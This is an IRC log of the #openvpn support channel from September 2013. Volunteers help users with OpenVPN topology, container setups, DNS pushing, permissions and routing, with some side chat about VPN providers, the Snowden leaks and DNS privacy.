10:16 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
10:16 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
10:19 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
10:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dqelfqqzfxtxcspx] has joined #openvpn
10:29 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
10:31 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
10:32 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
10:40 -!- raidz_away is now known as raidz
10:42 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
10:45 < Fira> defswork/krzee : will do. thanks lot. :)
10:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
10:49 -!- takamichi [~takamichi@141.255.164.94] has joined #openvpn
10:50 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
10:54 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
11:12 -!- takamichi [~takamichi@141.255.164.94] has quit [Read error: Operation timed out]
11:14 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:14 -!- julius__ [~julius@p3EE2A094.dip0.t-ipconnect.de] has quit [Quit: Leaving]
11:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:28 -!- dotvpn [~pyng@2001:d98:5806:369c:90f6:9ec:7b6d:c71f] has joined #openvpn
11:30 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:32 < dotvpn> i'm discussing security with a vpn provider using openvpn. his configuration allows me to obtain a valid server certificate, so i said this allows an active MitM attack. the service provider claims that it is not possible to do mitm attack with username/password authentication.  rubbish?
11:39 < kisom> dotvpn: Yes.
11:40 <+pekster> Indeed rubbish, though it does depend on how exactly the protection is set up. It "could" still be somewhat secure (and less flexible) if something like --verify-x509-name were used
11:40 <+pekster> Most providers are clueless and braindead; it's a garbage service model and I have no clue why people continue to dump money into the crappy ones
11:41 < kisom> Most, not all. :)
11:41 < dotvpn> know of any decent ones, with servers in china? :)
11:42 < dotvpn> i think most people can't differentiate between crappy ones and not
11:42 < kisom> dotvpn: Our company runs a couple of servers in shanghai and hong kong. But we only sell it to companies within china.
11:42 < kisom> Probably cheaper to get a VPS and configure it yourself any ways
11:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
11:42 < dotvpn> i can't find a decently priced vps in china :(
11:43 < kisom> We use Amazon EC2.
11:44 < dotvpn> does that exist in china?
11:45 < kisom> Yeah but the firewall still blocks traffic to EC2 from mainland china
11:45 < kisom> The great firewall of china, that is.
11:45 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
11:45 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
11:45 < dotvpn> i can't seem to find amazon aws region in mainland china
11:46 < dotvpn> hmm
11:46 < kisom> What's the point having a VPS within the firewall anyways?
11:46 < dotvpn> trying to gain access to geo-restricted content within china
11:47 < kisom> OK, yeah that's probably the only reason I can see why you'd want to do that :)
11:50 <@krzee> i just realized something about the snowden leaks about NSA crypto breaking skills
11:50 <@krzee> the real leak here was the lack of a leak related to quantum computing
11:51 <@krzee> cause if they had that, all the other data leaked (regarding attacking crypto) would not even be employed, it would be pointless
11:51 < kisom> krzee: You make it sound like a bad thing ;)
11:52 < kisom> Besides, we can always go back to symmetric crypto
11:52 < kisom> Enigma was the shit
11:54 <@krzee> no i just understood the "so whats new?" of it
11:54 <@krzee> cause basically everything leaked was known
11:55 <@krzee> but to know they dont have quantum computing yet, thats nice
12:02 < dotvpn> hmm
12:02 < dotvpn> yeah
12:14 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:20 -!- dotvpn [~pyng@2001:d98:5806:369c:90f6:9ec:7b6d:c71f] has quit [Quit: ircII EPIC5-1.1.2 -- Are we there yet?]
12:44 < TheSov_> Hey guys i had a point to point setup between 2 linux systems and i had all the router put in with lzo on, everything worked as it should but i could not RDP, SSH or VNC, other protocols like SMB and HTTPS worked. does anyone know the cause of my problem?
12:47 < Azrael_-> did you try to establish the connection always between the same hosts?
12:54 <@krzee> likely firewall, could be mtu
13:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:21 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
13:25 -!- juliankrause [~juliankra@li496-23.members.linode.com] has joined #openvpn
13:25 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has joined #openvpn
13:25 < sybariten> Hi,
13:26 < sybariten> just a quick question before i give any more specific details: is it common for people to have problems with the subnetmask being 255.255.255.252 when one would prefer 255.255.255.0 ?
13:27 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit []
13:27 < _br_> Debian, Vserver. Followed the FAQ to configure a openvpn server in a vserver cage. Openvpn runs, no errors. Client config done, connects fine. Server remarks in verbose logging only "MULTI: no dynamic or static remote --ifconfig address is available for client" because of the "ifconfig noexec" in the openvpn server config. Tunneling doesn't work properly just uses normal connection. What am I missing? I need a extra route on the cli
13:27 <@ecrist> !topology
13:27 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:27 <@ecrist> sybariten: see above
13:28 < _br_> (with FAQ I ment this one here http://linux-vserver.org/Frequently_Asked_Questions )
13:28 < juliankrause> Hello, I am dealing with a connection issue between my windows client and linux openvpn server. I get a connection, openvpn-status says there is  connection, however I cannot ping in either direction. I have double checked my firewall rules and it does not look like anything is wrong there but I can paste. The most interesteting symptom I see is that task manager and Viscosity both report 30MB/s transfer rate over the TUN but no ...
13:28 <@vpnHelper> Title: Frequently Asked Questions - Linux-VServer (at linux-vserver.org)
13:28 < juliankrause> ... process seems to be sending it and as before, pings don't get through.
13:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:30 < sybariten> ecrist: hm, what does topology mean in this context?
13:31 <@krzee> !man
13:31 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:31 <@krzee> see --topology
13:31 <@krzee> it is how openvpn understands the addressing
13:32 <+pekster> _br_: The issue is without --ifconfig, the server doesn't know what value to use for the 'remote-netmask' paramater of --ifconfig-push. Why are you using --ifconfig-noexec on the server in the first place? Normally you want openvpn to set up addressing when it starts up
13:33 < sybariten> krzee: aha, ok!
13:34 < sybariten> but i dont really understand point #2 in what vpnHelper said. Was that a question or .. .what?
13:35 <+pekster> That msans that on a Unix-alike system, properly installed programs have manpages that are "your friend" when learning how it works. `man openvpn` for instance
13:35 <+pekster> Windows users generally don't have the luxury of a standard manpage viewer, hence the web reference
13:35 < _br_> pekster: The reason for that is that I am using openvpn inside a vserver container. Due to the security restrictions creation of ips etc. is not allowed. I configured it to run over tun interface according to what is outlined here http://linux-vserver.org/Frequently_Asked_Questions ("Can I run an OpenVPN Server in a guest?")
13:36 <@vpnHelper> Title: Frequently Asked Questions - Linux-VServer (at linux-vserver.org)
13:37 < juliankrause> I ran tcpdump on the port on the server side. After the connection is complete, only a small 53 byte packet is being snet or recieved every so o often, nothing compared to the 30MB/s that viscosity is reporting.
13:42 < _br_> pekster: Thanks for the hint though, appreciate it
13:46 < juliankrause> http://www.pastebin.ca/2453036 Here are my firewall rules on the server
13:48 <+pekster> _br_: Yea, the code is a bit involved during that part of the process, but there's a 'flag' set when the directives needed to push remote --ifconfig settings to a client aren't defined
13:48 < _br_> pekster: Yep, doing rtfm on that currently :) thanks
13:51 <+pekster> The interesting bit seems to be at multi.c:1340
13:52 <+pekster> What topology are you using? Something probably isn't getting defined there, possibly due to the ifconfig-noexec bit (although if that's the case, it probably _should_ be defined)
13:52 < _br_> hm...
13:53 < _br_> I'm not sure. Probably i'm just missing something simple here.
13:54 -!- ade_b [~Ade@p57A57D8E.dip0.t-ipconnect.de] has joined #openvpn
13:55 -!- ade_b [~Ade@p57A57D8E.dip0.t-ipconnect.de] has quit [Changing host]
13:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:56 <+pekster> Do you have a server config on a pastebin somewhere?
13:59 < _br_> pekster: This is the server http://pastie.org/8330986
14:01 < juliankrause> Looks like my problem was I needed to reboot Windows. Thanks.
14:01 -!- juliankrause [~juliankra@li496-23.members.linode.com] has left #openvpn []
14:01 < _br_> pekster: And the client http://pastie.org/8330991
14:02 < _br_> pekster: Created based on the guide in the vserver faq http://pastie.org/8330996
14:03 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
14:03 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
14:04 <+pekster> Yea, I just wanted to see that nothing else was out of the ordinary; I wouldn't expect pool pushes of addressing to fail with ifconfig-noexec, but it's worth poking at since it really should be happening (could be some recent-ish code change caused an issue there)
14:04 <+pekster> shouldn't* be happening ;)
14:05 < _br_> hm :)
14:06 < _br_> Trying different versions of openvpn, maybe thats the issue.
14:07 <+pekster> It might be a >=2.3.0 thing (there have been a few regression that popped up with the more rare use-cases)
14:09 < _br_> yeah, probably it is. Upgrading here and having some config issues, interesting.
14:10 < sybariten> OK we're trying, just for the sake of trying, to set "topology subnet" in a Win environment... and the clients get "offset is outside of --ifconfig subnet" and no IP. Should i care about searching for this error message? The only google results are patch discussions, more or less...
14:16 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
14:17 < Aelius>  is it possible to configure a fallback server to host the network?
14:17 <+pekster> _br_: Seems to work fine for me using 2.3.2
14:18 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
14:18 <+pekster> _br_: My bare-bones config to test is this: http://paste.kde.org/pe3a696de/13793590/raw/
14:18 < Aelius> my machine hosting openvpn has thehighest bandwidth and also highest downtime (damn myisp)
14:19 <+pekster> The route failed to add (naturally, since the device had no address) but after manually taking care of the address & route needs, clients connect and get an address from the pool fine
14:20 -!- nutron [~nutron@184.68.34.30] has joined #openvpn
14:20 -!- nutron [~nutron@184.68.34.30] has quit [Changing host]
14:20 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:20 < Aelius> so in times when the main host is down i want a client totake over
14:21 <+pekster> Aelius: You can specifiy multiple --remote directives in the config (read about connection profiles too if you need to change other details for each server.)
14:23 < Aelius> ok thanks
14:31 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:08 -!- p3rror [~mezgani@41.140.26.175] has joined #openvpn
15:10 < _br_> pekster: Thank you, I will try that !
15:24 -!- Veyron [~administr@99-33-176-107.lightspeed.simica.sbcglobal.net] has joined #openvpn
15:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
15:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
15:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:34 < Veyron> Mon Sep 16 13:05:01 2013 Note: Cannot ioctl TUNSETIFF tun2: Operation not permitted (errno=1)
15:34 < Veyron> Mon Sep 16 13:05:01 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
15:34 < Veyron> Mon Sep 16 13:05:01 2013 /sbin/ifconfig  ---- pointopoint --- mtu 1500
15:34 < Veyron> SIOCSIFADDR: Operation not permitted
15:34 < Veyron> : ERROR while getting interface flags: No such device
15:34 < Veyron> SIOCSIFDSTADDR: Operation not permitted
15:34 < Veyron> : ERROR while getting interface flags: No such device
15:34 < Veyron> SIOCSIFMTU: Operation not permitted
15:34 < Veyron> Mon Sep 16 13:05:01 2013 Linux ifconfig failed: external program exited with error status: 1
15:34 < Veyron> I get this error when I try to launch OpenVPN client with a specific profile
15:34 <+pekster> !paste
15:34 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
15:35 <+pekster> Looks like you don' thave permission to the device
15:35 < Veyron> sorry
15:35 < Veyron> how would I reassign permission?
15:36 <+pekster> Typically you must be root to modify sytem settings (like network devices)
15:36 < Veyron> I'll try that
15:42 -!- Veyron [~administr@99-33-176-107.lightspeed.simica.sbcglobal.net] has quit [Ping timeout: 248 seconds]
15:48 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:50 -!- Veyron [~administr@93.115.84.195] has joined #openvpn
15:50 -!- Veyron [~administr@93.115.84.195] has quit [Client Quit]
15:54 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
15:56 -!- Coen [~administr@93.115.84.195] has joined #openvpn
15:57 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 245 seconds]
16:05 < Coen> What is the easiest way to stop DNS leakage?
16:08 <+pekster> Be smart about how your routing and DNS servers are configured
16:10 < hjohnson> DNS leakage?
16:10 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 276 seconds]
16:10 < hjohnson> been feeding your servers Olestra?
16:11 <+pekster> It's a phrase used by people unfamiliar with routing to mean "DNS lookups are sourced from a local address" or sometimes "externally sourced requests are using the DNS server of my ISP via the external interface" except usually the people using it don't understand any of that
16:12 <+pekster> Very popular on reddet et al.
16:12 < hjohnson> ahh
16:13 <+pekster> Mostly used by people worried about copyright holders or their ISPs learning they visit torrent sites daily, although there are more legit reasons to care about privacy too
16:13 <+pekster> My ISP gets to see my DNS requests for trackers all day long, and if the copyright holders of GPL, BSD, or CC-by-SA content have a problem with it, they can arrange later to pay
16:14 <+pekster> my legal fees ;)
16:14 -!- bauderoo [~bauderoo_@208.168.231.224] has joined #openvpn
16:14 < bauderoo> hello!
16:14 < hjohnson> oh, I mostly just run my own DNS servers anyhow... due to the lack of DNSEc I suppose the ISP could be snooping/intercepting but they aren't right now
16:15 <+pekster> Right, you can either run your own recursor (though that does generate "more" traffic on the web, espeically if many people start doing it) or use public DNS like google/Layer3 to similar effect if you want the benefit of their upstream caches
16:16 <+pekster> Both (unless directed across a secure channel) is subject to upstream passive or active interception, but DNS (sans DNSSEC) was never meant to be validated or trusted like that
16:16 < hjohnson> exactly
16:17 < hjohnson> most of the time I actually wind up pointing my DNS lookups internally anyhow, since I run split horizon DNS to lookup internal hosts on 1918 space
16:17 < hjohnson> (deal with so many machiens that just memorizing the IPs ins't feasible any more :P)
16:17 <+pekster> I do the same, but on the border I just forward 'non-internal' stuff to google
16:17 <+pekster> I let them deal with the recursion/caches, and they've apparently done studies that show it's actually faster due to how they cache things
16:18 < hjohnson> pekster: for my satellite clients, I have a central host at my hub end do the recursion, rather than recursing via the satellite (shudder)
16:18 < hjohnson> actually, otoh, I need to double-check that I'm actually doing it that way)
16:18 <+pekster> Yea, RTT on satellite would bite
16:19 < hjohnson> 'bout 550ms
16:19 <+pekster> Especially if it needs to make several requests to get upstream NS records when _those_ expire
16:19 < hjohnson> and I QoS it so that DNS is second only to VOIP for priority on the link
16:19 < hjohnson> so it's not *too* bad
16:24 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 240 seconds]
16:24 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
16:25 < bauderoo> quickest question? my openvpn appliance has been working well for more than a year now but lately, once i logged in, i can't seem to ping any other machines except for two servers
16:25 <+pekster> appliance? If it's not the GPL OpenVPN, you should see:
16:25 <+pekster> !as
16:25 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:25 -!- Coen [~administr@93.115.84.195] has quit [Quit: Leaving]
16:26 < bauderoo> aha ok, thanks
16:52 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
16:53 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:00 -!- speed_racer84 [~speed_rac@75.148.176.61] has joined #openvpn
17:03 -!- klein [~klein@177.101.119.158] has joined #openvpn
17:03 -!- klein [~klein@177.101.119.158] has quit [Changing host]
17:03 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:07 -!- speed_racer84 [~speed_rac@75.148.176.61] has quit [Ping timeout: 248 seconds]
17:07 -!- speed_racer84 [~speed_rac@75.148.176.61] has joined #openvpn
17:13 -!- speed_racer84 [~speed_rac@75.148.176.61] has quit [Quit: Leaving]
17:36 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
17:37 < thefinn93> !redirect
17:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:37 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
18:10 -!- Roelke_ is now known as Roelke
18:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
18:36 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Disconnected by services]
18:36 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:41 -!- Azrael_- [~idjfiawej@adsl-62-167-40-41.adslplus.ch] has quit []
18:42 < _br_> Despite push "dhcp-option DNS 8.8.8.8" in the server config, I can't get DNS lookup resolved for clients. After successful connection, /etc/resolve.conf still isn't changed. Any hints, why?
18:45 < hjohnson> the client doesnt' have permissions, or deliberately broke things? (I don't like anyone other than me touching my resolv.conf)
18:46 < rob0> root@hjohnson:~# touch /etc/resolv.conf
18:48 < _br_> hm permissions, maybe. Let me strace.
18:50 < _br_> Hm, no. Weird, thats not it.
18:51 <+pekster> _br_: Do you have client-side scripts in place to handle this?
18:51 <+pekster> !pushdns
18:51 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
18:51 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
18:51 <+pekster> #4 applies, though only if you're distro is using resolv-conf
18:52 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
18:52 -!- p3rror [~mezgani@41.140.26.175] has quit [Ping timeout: 276 seconds]
18:52 < _br_> oh wow, a gold mine of links. Thank you, let me study these...
18:53 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
18:56 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:06 < _br_> Jep, #4 did the trick, thanks again pekster !
19:16 < Skapare> pekster: what was that network channel you recommended the other day ?
19:17 < Skapare> I want to see if they understand why the ip command won't add a route
19:24 < ljvb> random question.. guessing it won't work..  is it possible share the same subnet as the local network without bridging.  my iphone does not support the TAP driver
19:30 <+pekster> Skapare, probably #netfilter or ##networking. Maybe ##linux
19:30 <+pekster> ljvb: tun is a routed (IP transport) system; routed networks cannot have the same address on either side of a routing barrier (though some advanced uses like goofy NAT or CGN make exceptions, you can think of this as a golden rule of routing)
19:32 < ljvb> I am well aware that it is routed, what I was hoping for is someone who has done said goofy natting and what not.
19:33 < ljvb> the other problem is multicast traffic..
19:33  * ljvb hates multicast traffic
19:33 <+pekster> You'd need tap for that
19:33 < ljvb> thats what I figured
19:34 < ljvb> I blame tivo for using bonjour and crap
19:34  * ljvb currently lives out of a hotel mon through friday for the next 2 years.. trying to stream from my tivo to my idevice since they do not support android yet
19:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
19:38 -!- EugeneKay [eugene@badcryp.to] has quit [Ping timeout: 245 seconds]
19:40 <+pekster> Smarter, more open standards would let you record via methods you can unicast back to your devices
19:41 <+pekster> If you want to stick with consumer stuff, they tend to do what they can to stop that in the name of content protection, so YMMV
19:43 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
19:43 < ljvb> I have both xbmc and mythtv
19:43 < ljvb> but wife does not like them
19:44 < ljvb> and there are always little quirks and bugs that require tweaking with before using it, almost everytime
19:45 < ljvb> hoping for a plugin for xbmc to interface with the tivo at some point, and in which case I can use remote xbmc interface.. although I suspect the hotel wifi will suck
19:47 < Skapare> pekster: well, it's not a network problem after all ... it's a bug in "ip" ... it calls lseek() on a socket
19:54 < ljvb> meh, dinner time I guess
20:05 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:05 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
20:08 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dqelfqqzfxtxcspx] has quit [Ping timeout: 240 seconds]
20:12 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
20:26 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:29 -!- raidz is now known as raidz_away
20:48 -!- klong- [~klong@207.115.88.202] has joined #openvpn
20:49 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:53 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
20:58 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
20:58 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
20:59 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:59 < klong-> .
21:03 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
21:33 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
21:34 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:37 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 276 seconds]
21:48 -!- klong- [~klong@207.115.88.202] has quit [Ping timeout: 264 seconds]
22:01 -!- esde is now known as esde|sleep
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-clricqvnmrtgxxav] has joined #openvpn
22:56 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-clricqvnmrtgxxav] has quit [Ping timeout: 268 seconds]
22:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zhmyijymkdhsnzqd] has joined #openvpn
22:59 -!- navap [~navap@musicbrainz/user/navap] has joined #openvpn
23:00 < navap> I've been using openvpn.se's gui client for my windows machine. I just noticed that there is a community download listed on openvpn.net that looks similar. What's the difference between them?
23:01 <+pekster> openvpn.se has years-old junk that's not updated
23:01 < EugeneKay> !download
23:01 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
23:01 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
23:01 <+pekster> Since quite a while now the official openvpn download links have the GUI built-in
23:02 < navap> Okay, thanks
23:04 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
23:08 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has quit [Ping timeout: 276 seconds]
23:12 -!- navap [~navap@musicbrainz/user/navap] has left #openvpn []
23:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zhmyijymkdhsnzqd] has quit [Read error: Connection reset by peer]
23:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zynfvucjargxjzfl] has joined #openvpn
23:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zynfvucjargxjzfl] has quit [Read error: Connection reset by peer]
23:27 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ymitawpbezaczzaz] has joined #openvpn
23:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ymitawpbezaczzaz] has quit [Ping timeout: 268 seconds]
23:59 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Tue Sep 17 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:24 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rybjriqrvfaruixf] has joined #openvpn
01:00 -!- bauderoo_ [~bauderoo_@208.168.231.224] has joined #openvpn
01:05 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
01:05 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
01:05 -!- master_o1_master [~master_of@p4FD7BF51.dip0.t-ipconnect.de] has joined #openvpn
01:06 -!- reModding [~reMod@pushdome.net] has joined #openvpn
01:09 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
01:09 -!- Netsplit *.net <-> *.split quits: thumbs, r3Mod, master_of_master, Aelius, +s7r, DrCode, bauderoo, thefinn93, i7c, toobluesc,  (+1 more, use /NETSPLIT to show all of them)
01:09 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
01:09 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
01:12 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
01:13 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
01:13 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
01:14 -!- andrusha97_ [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
01:14 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
01:15 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
01:15 -!- uuuppz_ [uuuppz@78.129.207.46] has joined #openvpn
01:15 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
01:17 -!- MeanderingCode_ [~Meanderin@192.241.150.232] has joined #openvpn
01:17 -!- guntha_ [~guntha@guntha.thecagedog.com] has joined #openvpn
01:18 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:18 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 264 seconds]
01:18 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 264 seconds]
01:18 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-cqjjwkftjhdwsfep] has quit [Ping timeout: 264 seconds]
01:18 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 264 seconds]
01:18 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 264 seconds]
01:18 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
01:18 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
01:18 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
01:19 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
01:19 -!- FunkyELF [~FunkyELF@99-36-189-64.lightspeed.chrlnc.sbcglobal.net] has quit [Ping timeout: 264 seconds]
01:19 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-iwhuqtwgxmlrbzkm] has quit [Ping timeout: 264 seconds]
01:19 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 264 seconds]
01:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
01:19 -!- uuuppz [uuuppz@78.129.207.46] has quit [Ping timeout: 264 seconds]
